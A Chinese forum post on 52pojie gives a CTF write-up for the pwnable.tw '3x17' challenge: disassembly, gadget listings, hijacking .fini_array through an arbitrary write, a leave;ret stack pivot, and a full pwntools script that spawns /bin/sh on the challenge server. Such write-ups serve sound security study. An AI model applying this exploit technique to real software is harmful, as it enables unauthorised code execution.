吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4559|回复: 3
收起左侧

[调试逆向] pwnable.tw - 3x17 - ROP

[复制链接]
dreamingctf 发表于 2022-3-21 12:59
3x17 本题有 NX 的保护

[Asm] 纯文本查看 复制代码
pwndbg> checksec
[*] '/3x17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

.rodata:0000000000492890 aBufferOverflow db 'buffer overflow detected',0
.rodata:0000000000492890                                         ; DATA XREF: sub_44A3D0+4↑o
.rodata:00000000004928A9 aStackSmashingD db 'stack smashing detected',0
.rodata:00000000004928A9                                         ; DATA XREF: sub_44A3E0+4↑o

在 main 函数中还是有 Canary 的,用 file 命令,看到程序是静态编译的,且在 IDA 里几乎找不到符号

[Asm] 纯文本查看 复制代码
  if ( __readfsqword(0x28u) != v6 )
    sub_44A3E0();

void __noreturn sub_44A3E0()
{
  sub_44A400(0LL, "stack smashing detected");
}

file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped


根据程序运行结果,应该是存在任意地址写漏洞、在 IDA 里通过搜索字符串,找到 main 函数

图片.png
图片.png

参考链接:
https://blog.csdn.net/gary_ygl/article/details/8506007
linux 的 main 函数启动过程

http://www.bubuko.com/infodetail-3548046.html
https://zhuanlan.zhihu.com/p/154258231


[Asm] 纯文本查看 复制代码
readelf -h 3x17
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401a50
  Start of program headers:          64 (bytes into file)
  Start of section headers:          759016 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28


图片.png
图片.png

根据 main 的调用约定,start => main 图示是这样的

图片.png


由于去除了符号表,所以在任意地址写时,我们需要利用 main 函数之后的 fini 函数,使其返回 main,可以不断构造 rop 链
fini => main
图片.png
[Asm] 纯文本查看 复制代码
.fini_array:00000000004B40F0                               _fini_array     segment qword public 'DATA' use64
.fini_array:00000000004B40F0                                               assume cs:_fini_array
.fini_array:00000000004B40F0                                               ;org 4B40F0h
.fini_array:00000000004B40F0 00 1B 40 00 00 00 00 00       off_4B40F0      dq offset sub_401B00    ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0                                                                       ; sub_402960+8↑o
.fini_array:00000000004B40F8 80 15 40 00 00 00 00 00                       dq offset sub_401580
.fini_array:00000000004B40F8                               _fini_array     ends


注意到 main 中有这个控制变量,考虑到 writeflag 是一个 int8 变量,值从 0 ~ 255 变化,那么让它自然溢出,下一轮回到 0,又能有一次 0 => 1,那么又能写一次了
[Asm] 纯文本查看 复制代码
result = (unsigned __int8)++writeflag;



于是先尝试循环起来
[Asm] 纯文本查看 复制代码
def anywrite(addr, data):
    ru("addr:")
    sn(str(addr))
    ru("data:")
    sn(data)

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
anywrite(fini_array, p64(libc_csu_fini) + p64(main_addr))

图片.png


这样就实现了:从 main 中的一次性 anywrite,到多次的 anywrite

[Asm] 纯文本查看 复制代码
readelf -S 3x17
  [15] .init_array       INIT_ARRAY       00000000004b40e0  000b30e0
       0000000000000010  0000000000000008  WA       0     0     8
  [16] .fini_array       FINI_ARRAY       00000000004b40f0  000b30f0
       0000000000000010  0000000000000008  WA       0     0     8
  [24] .bss              NOBITS           00000000004b92e0  000b82d0
       0000000000001718  0000000000000000  WA       0     0     32



既然我们控制了 RIP,我们就可以把栈迁移到我们知道的地方,只要在程序返回之前布置好 "栈",接下来就是构造 ROP
看到 __libc_csu_fini 函数,即题中的 0x402960 函数

在该函数中 rbp 之前的值暂时被放到了栈里,然后将 rbp 赋值为  fini_array(也就是 0x4b40f0)
然后就去调用了 fini_array 函数,而 fini_array 的值我们是可以自己控制的(我们有任意写),这样我们就可以劫持 RIP 到任何地方
图片.png


可以无限次写入后,便可以布置rop chain
而后只需要中断循环并迁移栈段即可:
将0x4b40f0覆盖为0x401c4b:
[Asm] 纯文本查看 复制代码
.text:0000000000401C4B                 leave
.text:0000000000401C4C                 retn

rbp=0x4b40f0,rbx=0
call    qword ptr [rbp+rbx*8+0] #0x401c4b->leave  #rbp=0x401c4b,rsp=0x4b40f8->ret    #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100->push    rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8->mov     rbp, rsp# rbp=0x4b40f8............->leave #rbp=0x401c4b,rsp=0x4b4100->ret   #return 2 ropchain








为了不破坏程序循环,我们可以将 RIP 写到 0x4B40F0 + 0x8 * 2 的地方,图示如下: 图片.png


布置栈环境需要用到 ROPgadget
ROP链常见形式:[pop register]+[value],即参数的值在后,ret指令在前

[Asm] 纯文本查看 复制代码
ROPgadget --binary 3x17 | grep "pop rax ; ret"
0x000000000041ad22 : mov cl, 0x35 ; pop rax ; retf
0x000000000041e4af : pop rax ; ret
0x000000000041ad24 : pop rax ; retf
0x00000000004725a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret

ROPgadget --binary 3x17 | grep "pop rdx ; ret"
0x0000000000446e35 : pop rdx ; ret

ROPgadget --binary 3x17 | grep "pop rsi ; ret"
0x00000000004130b7 : add byte ptr [rax - 0x75], cl ; jl 0x4130e0 ; cmp al, ch ; pop rsi ; ret 0
0x00000000004576db : add byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000047dcda : add byte ptr [rbx + rcx*4 + 0x3d], cl ; pop rsi ; ret
0x000000000047dcd8 : add dword ptr [rax], eax ; add byte ptr [rbx + rcx*4 + 0x3d], cl ; pop rsi ; ret
0x00000000004130bc : cmp al, ch ; pop rsi ; ret 0
0x000000000048737d : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x00000000004130ba : jl 0x4130e0 ; cmp al, ch ; pop rsi ; ret 0
0x000000000044a309 : pop rdx ; pop rsi ; ret
0x0000000000406c30 : pop rsi ; ret
0x00000000004130be : pop rsi ; ret 0
0x000000000040fb75 : ror byte ptr [rax - 0x7d], 0xc4 ; sbb byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000040fb79 : sbb byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000047dcd6 : test byte ptr [rbx], dh ; add dword ptr [rax], eax ; add byte ptr [rbx + rcx*4 + 0x3d], cl ; pop rsi ; ret

ROPgadget --binary 3x17 | grep "pop rdi ; ret"
0x000000000047dce1 : add byte ptr [rbx + rcx*4 + 0x2d], cl ; pop rdi ; ret
0x0000000000401696 : pop rdi ; ret
0x00000000004057d7 : pop rdi ; retf

ROPgadget --binary 3x17 | grep "syscall"
0x00000000004022b4 : syscall

0x0000000000401c4b : leave ; ret
0x0000000000442110 : xor rax, rax ; ret



linux 系统调用号表
https://blog.csdn.net/qq_29343201/article/details/52209588

[Asm] 纯文本查看 复制代码
$ ls /home
3x17
$ ls /home/3x17
3x17
run.sh
the_4ns_is_51_fl4g
$ cat /home/3x17/the_4ns_is_51_fl4g


exp 如下
[Python] 纯文本查看 复制代码
from pwn import *

debug = 0
online = 1

#context(log_level = "debug", arch = 'amd64', os = "linux")
context(arch = 'amd64', os = "linux")

if online == 0:
    io = process("./3x17")
else:
    io = remote("chall.pwnable.tw", 10105)

rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))

def anywrite(addr, data):
    ru("addr:")
    sn(str(addr))
    ru("data:")
    sn(data)

#Exec Once -> Exec infinite
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
anywrite(fini_array, p64(libc_csu_fini) + p64(main_addr))

bss_addr = 0x4B92E0
anywrite(bss_addr, "/bin/sh\x00")

#RAX = 59
rax_ret = 0x41E4AF
anywrite(fini_array + 0x10, p64(rax_ret))
anywrite(fini_array + 0x18, p64(59))

#RDI = "/bin/sh\x00"
rdi_ret = 0x401696
anywrite(fini_array + 0x20, p64(rdi_ret))
anywrite(fini_array + 0x28, p64(bss_addr))

#RSI = 0
rsi_ret = 0x406C30
anywrite(fini_array + 0x30, p64(rsi_ret))
anywrite(fini_array + 0x38, p64(0))

#RDX = 0
rdx_ret = 0x446E35
anywrite(fini_array + 0x40, p64(rdx_ret))
anywrite(fini_array + 0x48, p64(0))

#system("/bin/sh")
syscall = 0x4022B4
anywrite(fini_array + 0x50, p64(syscall))

#EIP -> ROP
leave_ret = 0x401C4B
#XOR RAX, RAX ; ret
ret = 0x442110
#ret = 0x401016
anywrite(fini_array, p64(leave_ret) + p64(ret))

io.interactive()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Humoooor + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
qq312155 + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

15028352577 发表于 2022-3-21 15:00
感谢大佬
qq312155 发表于 2022-3-21 15:08
c259179 发表于 2022-8-23 08:25
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 00:19

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表